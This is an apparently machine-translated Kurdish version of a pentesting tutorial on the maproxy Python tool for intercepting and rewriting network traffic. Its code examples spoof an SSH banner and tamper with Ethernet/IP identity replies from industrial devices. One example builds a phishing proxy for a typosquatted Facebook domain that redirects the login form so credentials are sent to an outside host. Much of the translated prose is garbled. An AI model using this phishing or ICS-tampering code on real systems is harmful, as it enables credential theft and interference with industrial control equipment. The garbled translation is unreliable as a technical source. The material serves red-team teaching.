Daneyên torê pêvajoyê li ser firînê bikin

Wergera gotarê di êvara destpêkirina kursê de hat amadekirin "Pentest. Pratîka ceribandina penetasyonê".

Daneyên torê pêvajoyê li ser firînê bikin

Annotasyon

Cûrbecûr cûrbecûr nirxandinên ewlehiyê, ji ceribandina birêkûpêk a penetînê û operasyonên Tîma Sor bigire heya hackkirina cîhazên IoT/ICS û SCADA, bi protokolên torê yên binary re dixebitin, ango, di bingeh de di navbera xerîdar û armancê de danûstandin û guheztina daneyên torê digire. Sniffing seyrûsefera torê ne karekî dijwar e ji ber ku amûrên me yên mîna Wireshark, Tcpdump an Scapy hene, lê dixuye ku guherandin karekî zexmtir e ji ber ku em ê hewce bibin ku cûreyek navbeynkar hebe da ku daneyên torê bixwînin, fîlter bikin, biguhezînin. ew li ser firînê ye û hema hema di demek rast de ji mêvandarê armancê re bişîne. Wekî din, dê îdeal be heke amûrek wusa bixweber bi gelek girêdanên paralel re bixebite û bi karanîna nivîsan re were xweş kirin.

Rojekê min amûrek bi navê wî keşf kir maproxy, belge bi lez ji min re eşkere kir ku maproxy - Tenê tiştê ku ez hewce dikim. Ev proxyek TCP-ê pir hêsan, pirreng û bi hêsanî vesazkirî ye. Min ev amûr li ser gelek serîlêdanên pir tevlihev ceriband, di nav de cîhazên ICS (yên ku gelek pakêtan çêdikin) da ku bibînim gelo ew dikare gelek girêdanên paralel bi rê ve bibe, û amûrê baş pêk anî.

Ev gotar dê we bide nasîn ku hûn daneyên torê li ser firînê bi kar tînin maproxy.

gistî

Instrument maproxy li ser Tornado, çarçoveyek torê ya asynchron a populer û gihîştî ya li Python-ê ye.

Bi gelemperî, ew dikare di çend awayan de bixebite:

  • TCP:TCP - girêdanên TCP yên neşîfrekirî;
  • TCP:SSL и SSL:TCP - bi şîfrekirina yek-alî;
  • SSL:SSL - şîfrekirina du-alî.

Ew wekî pirtûkxaneyek tê. Ji bo destpêkek bilez, hûn dikarin pelên nimûne yên ku sereke nîşan didin bikar bînin fonksiyonên pirtûkxaneyê:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Doza 1 - proxy dualî ya hêsan

Çi qewimî tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

by default ProxyServer() du argumanan digire - cîhê girêdanê û porta armanc. server.listen() yek arguman digire - porta ji bo guhdarîkirina pêwendiya gihîştî.

Pêkanîna senaryoyê:

# python tcp2tcp.py

Ji bo ku em ceribandinê bimeşînin, em ê bi navgîniya skrîpta xweya proxy, ku li ser guhdarî dike, bi serverek SSH ya herêmî ve girêbidin. 2222/tcp port û bi portek standard ve girêdayî ye 22/tcp Pêşkêşkerên SSH:

Daneyên torê pêvajoyê li ser firînê bikin

Pankarta bixêrhatinê we agahdar dike ku skrîpta me ya nimûne bi serfirazî seyrûsefera torê prox kiriye.

Doza 2 - guherandina daneyan

Nivîsarek demo ya din logging_proxy.py îdeal ji bo danûstandina bi daneyên torê. Şîroveyên di pelê de rêbazên polê yên ku hûn dikarin biguherînin da ku bigihîjin armanca xwe diyar dikin:

Daneyên torê pêvajoyê li ser firînê bikin

Tişta herî balkêş li vir e:

  • on_c2p_done_read - girtina daneyan di rê de ji xerîdar heya serverê;
  • on_p2s_done_read - berepaş.

Ka em biceribînin ku pankarta SSH-ya ku server vedigere xerîdar biguhezînin:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Skrîptê pêk bînin:

Daneyên torê pêvajoyê li ser firînê bikin

Wekî ku hûn dibînin, xerîdar hate xapandin ji ber ku navê servera SSH ji bo wî hate guheztin «DumnySSH».

Daneyên torê pêvajoyê li ser firînê bikin

Doza 3 - rûpela malpera phishing a hêsan

Rêyên bêdawî hene ku meriv vê amûrê bikar bîne. Vê carê em ji alîyê operasyonên Tîma Sor ve li ser tiştek pratîktir bisekinin. Ka em rûpela dakêşanê teqlîd bikin m.facebook.com û domainek xwerû bi xeletiyek tîpî ya bi zanebûn bikar bînin, mînakî, m.facebok.com. Ji bo mebestên xwenîşandanê, em tenê texmîn bikin ku domain ji hêla me ve hatî tomar kirin.

Em ê bi proxy mexdûrên xwe û SSL Stream re ji servera Facebook re têkiliyek torê ya neşîfrekirî saz bikin (31.13.81.36). Ji bo ku ev mînak bixebite, pêdivî ye ku em sernavê mêvandarê HTTP-ê biguhezînin û navê mêvandarê rast derxînin, û her weha em ê berhevkirina bersivê jî neçalak bikin da ku em bi hêsanî xwe bigihînin naverokê. Di dawiyê de em ê forma HTML-ê biguhezînin da ku pêbaweriyên têketinê li şûna serverên Facebook-ê ji me re werin şandin:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ku/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Paştirîn:

Daneyên torê pêvajoyê li ser firînê bikin

Wekî ku hûn dikarin bibînin, me bi serfirazî karîbû cîhê malpera orîjînal biguhezînin.

Doza 4 - Veguheztina Ethernet / IP

Ez ji demek dirêj ve bi amûr û nermalava pîşesaziyê (ICS / SCADA) re mijûl dibim, wek kontrolkerên bernamekirî (PLC), modulên I/O, ajoker, rele, hawîrdorên bernamesaziya pêlavê û hêj bêtir. Ev doz ji bo kesên ku ji tiştên pîşesaziyê hez dikin re ye. Hackkirina çareseriyên weha bi aktîvî bi protokolên torê re lîstin. Di mînaka jêrîn de, ez dixwazim destnîşan bikim ka hûn çawa dikarin seyrûsefera torê ya ICS / SCADA biguherînin.

Ji bo vê yekê hûn ê hewceyê jêrîn hewce ne:

  • Sniffer torê, bo nimûne, Wireshark;
  • Ethernet / IP an tenê amûrek SIP, hûn dikarin wê bi karanîna karûbarê Shodan bibînin;
  • Senaryoya me li ser bingehê wê ye maproxy.

Pêşîn, em binihêrin ka bersivek nasnameyek tîpîk ji CIP (Protokola Pîşesaziya Hevbeş) çawa xuya dike:

Daneyên torê pêvajoyê li ser firînê bikin

Nasnameya cîhazê bi karanîna protokola Ethernet / IP-ê, ku guhertoyek pêşkeftî ya protokola Ethernet a pîşesaziyê ye ku protokolên kontrolê yên wekî CIP-ê vedigire, pêk tê. Em ê navê nasnameya ronîkirî ya ku di dîmenê de xuya dike biguhezînin "NI-IndComm ji bo Ethernet" bikaranîna skrîpta proxy me. Em dikarin ji nû ve senaryoyê bi kar bînin logging_proxy.py û bi heman rengî rêbaza polê biguherînin on_p2s_done_read, ji ber ku em dixwazin navek nasnameyek cûda li ser xerîdar xuya bibe.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Di bingeh de, me du caran nasnameya cîhazê xwest, bersiva duyemîn ya orîjînal bû, û ya yekem di firînê de hate guherandin.

Paşîn

Min bê hêvî nekin maproxy Amûrek hêsan û hêsan, ku di Python de jî hatî nivîsandin, ji ber vê yekê ez bawer dikim ku hûn jî dikarin ji karanîna wê sûd werbigirin. Bê guman, ji bo pêvajokirin û guheztina daneyên torê amûrên tevlihevtir hene, lê ew jî bêtir baldarî hewce dikin û bi gelemperî ji bo dozek karanîna taybetî têne afirandin, mînakî. Muraena, Modlishka an evilginx ji bo rewşên mîna ya sêyemîn, an cenazeyê ji bo doza dawî. Yek rê an din, bi alîkariyê maproxy hûn dikarin zû ramanên xwe ji bo girtina daneyên torê bicîh bikin, ji ber ku skrîptên nimûne pir zelal in.

Testkirina mekanîzmayên erêkirinê di Windows AD de

Source: www.habr.com

Add a comment